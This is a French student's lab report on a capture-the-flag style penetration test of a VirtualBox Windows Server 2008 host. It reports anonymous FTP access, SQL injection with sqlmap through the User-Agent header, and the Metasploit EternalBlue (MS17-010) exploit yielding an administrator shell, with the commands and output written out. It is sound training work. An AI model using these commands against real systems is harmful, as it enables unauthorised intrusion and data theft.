PICOT QUENTIN
Groupe 1A
07/11/2025

Rapport d’analyse
Tp 4

SOMMAIRE

INTRO

Ce rapport documente l'approche méthodologique et les actions menées lors du travail de pentest, dont l'objectif était de compromettre une machine cible et d'en extraire des informations sensibles.

ACCORD

Notre mission

La mission consistait à identifier et exploiter les vulnérabilités du système cible afin de collecter les données sensibles, prouvant l'accès progressif aux différents niveaux de sécurité du système.

cible 192.168.56.102

L'équipe

> **rendu individuel**

ETAPES

Analyse du réseau

```
Nmap scan report for 192.168.56.102
Host is up (0.00057s latency).
Not shown: 988 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
23/tcp    open  telnet
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown
MAC Address: 08:00:27:72:88:21 (PCS Systemtechnik/Oracle VirtualBox virtual N
IC)
```

```
┌──(root㉿kali)-[~]
└─# nmap -A 192.168.56.102
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-07 08:13 EST
Nmap scan report for 192.168.56.102
Host is up (0.00086s latency).
Not shown: 988 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 10-20-23  03:44PM       <DIR>          aspnet_client
| 10-20-23  05:54PM                   62 hidden_flag_asdmgh781x.txt
| 10-21-23  03:44PM                 9026 iisstart.htm
| 10-21-23  03:05PM              1272832 login.exe
| 10-20-23  05:47PM                  373 simplecgi.cs
| 10-20-23  05:47PM                 3584 simplecgi.exe
| 10-20-23  05:56PM                  183 web.config
|_10-20-23  03:44PM               184946 welcome.png
23/tcp    open  telnet       Microsoft Windows XP telnetd
| telnet-ntlm-info:
|   Target_Name: WIN-KJJRQAQ8SAE
|   NetBIOS_Domain_Name: WIN-KJJRQAQ8SAE
|   NetBIOS_Computer_Name: WIN-KJJRQAQ8SAE
|   DNS_Domain_Name: WIN-KJJRQAQ8SAE
|   DNS_Computer_Name: WIN-KJJRQAQ8SAE
|_  Product_Version: 6.1.7601
80/tcp    open  http         Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pac
k 1 microsoft-ds
```

on regarde la version des ports ouverts

```
┌──(root㉿kali)-[~]
└─# nmap -sV 192.168.56.102
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-07 08:17 EST
Nmap scan report for 192.168.56.102
Host is up (0.00067s latency).
Not shown: 988 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
23/tcp    open  telnet       Microsoft Windows XP telnetd
80/tcp    open  http         Microsoft IIS httpd 7.5
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsof
t-ds
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
```

Actions

on se connecte en ftp

```
┌──(kali㉿kali)-[~]
└─$ ftp 192.168.56.102
Connected to 192.168.56.102.
220 Microsoft FTP Service
Name (192.168.56.102:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49160|)
125 Data connection already open; Transfer starting.
10-20-23  03:44PM       <DIR>          aspnet_client
10-20-23  05:54PM                   62 hidden_flag_asdmgh781x.txt
10-21-23  03:44PM                 9026 iisstart.htm
10-21-23  03:05PM              1272832 login.exe
10-20-23  05:47PM                  373 simplecgi.cs
10-20-23  05:47PM                 3584 simplecgi.exe
10-20-23  05:56PM                  183 web.config
10-20-23  03:44PM               184946 welcome.png
226 Transfer complete.
```

on observe avec la faille que avec anonymous en login et mdp on peut se connecter

on transfert le fichier sur notre espace

```
ftp> get hidden_flag_asdmgh781x.txt
local: hidden_flag_asdmgh781x.txt remote: hidden_flag_asdmgh781x.txt
229 Entering Extended Passive Mode (|||49161|)
125 Data connection already open; Transfer starting.
100% |*******************************|    62      144.15 KiB/s    00:00 ETA
226 Transfer complete.
62 bytes received in 00:00 (65.88 KiB/s)
ftp> exit
221 Goodbye.
```

FLAG

```
┌──(kali㉿kali)-[~]
└─$ cat hidden_flag_asdmgh781x.txt
eNRw46h@%PRcgQBqu&4Zhq5iiut88FZ8oi^EgDwDaTwR2KPMNcdyAjHAVVwfuj
```

```
└─# sqlmap 192.168.56.102/login.exe
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.9.8#stable}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual cons
ent is illegal. It is the end user's responsibility to obey all applicable local, sta
te and federal laws. Developers assume no liability and are not responsible for any m
isuse or damage caused by this program

[*] starting @ 08:30:23 /2025-11-07/

[08:30:23] [INFO] testing connection to the target URL
[08:30:23] [INFO] checking if the target is protected by some kind of WAF/IPS
[08:30:23] [INFO] testing if the target URL content is stable
[08:30:24] [INFO] target URL content is stable
[08:30:24] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GE
T parameter 'id' in 'www.site.com/index.php?id=1')
```

dans le site web on voit que le browser n'est pas bon on le remplace par le bon Firefox puis on met la fonction -secure

sqlmap -u 192.168.56.102/login.exe --user-agent='Firefox-secure*' -tables

```
[3 tables]
+----------------+
| flags          |
| sqlite_sequence |
| user_agents    |
+----------------+
```

sqlmap -u 192.168.56.102/login.exe --user-agent='Firefox-secure*' -dump

```
+----+-----------------------------------------------------------------------+
| id | text                                                                  |
+----+-----------------------------------------------------------------------+
| 1  | w@T!2$*i@jFUekxoKoyT!cH6*NwT2h3Y&tL%V8#c@y*4QUPupcaG36WrLiP7t$ |
| 2  | Blue is eternal                                                       |
+----+-----------------------------------------------------------------------+
```

pour le 3eme flage nous llons utiliser le port 443 celui du serveur windows

on observe avec metasploit une faille ms17-010

on essaie de

```
msf > exploit/windows/smb/ms17_010_eternalblue
```

```
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.56.102
RHOSTS ⇒ 192.168.56.102
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.56.103
LHOST ⇒ 192.168.56.103
msf exploit(windows/smb/ms17_010_eternalblue) > exploit
```

```
5-11-07 09:19:45 -0500
[+] 192.168.56.102:445 - =-------------------------------------------------------
=
[+] 192.168.56.102:445 - =----------------------WIN-------------------------------
=
[+] 192.168.56.102:445 - =-------------------------------------------------------
=

meterpreter > ls
Listing: C:\Windows\system32
```

on sait que l'on est dans C:\Windows\system32 et on nous a donner l'indice de la localisation du flag

```
meterpreter > cd C:\\Users\\Administrateur\\Desktop
meterpreter > ls
Listing: C:\Users\Administrateur\Desktop
=========================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2023-10-20 11:33:37 -0400  Windows Loader v2.2.2
100777/rwxrwxrwx  4832  fil   2023-10-20 10:59:42 -0400  activate.bat
100666/rw-rw-rw-  64    fil   2023-10-20 10:58:57 -0400  administrator_flag.txt
100666/rw-rw-rw-  282   fil   2023-10-20 09:01:03 -0400  desktop.ini
```

FLAG root

```
meterpreter > cat administrator_flag.txt
!6CrPS&NSUwJZzqHRezS4pch6vkzoG53ZF#$JJRM@9AJEYzMwpqV$dDoiZiNLq
```

CONCLUSION

Les trois flags ont été extraits grâce à l'exploitation de vulnérabilités : accès FTP anonyme sur le Port 21 , une faille SQL causant une injection sur le fichier login.exe, et une vulnérabilité système MS17-010 EternalBlue sur le Port 445. Qui a permis une élévation de privilèges jusqu'au niveau root, assurant la récupération du flag root.

CONSEIL

désactiver l'accès anonyme FTP avec la création d'un contrôle d'accès
utiliser des méthodes pour contrer les injections SQL

appliquer les correctifs des failles MS17-010
mise à jour et veilles régulières sur ces systèmes
s’informer et actualiser les outils
continuer à pénétrer le réseau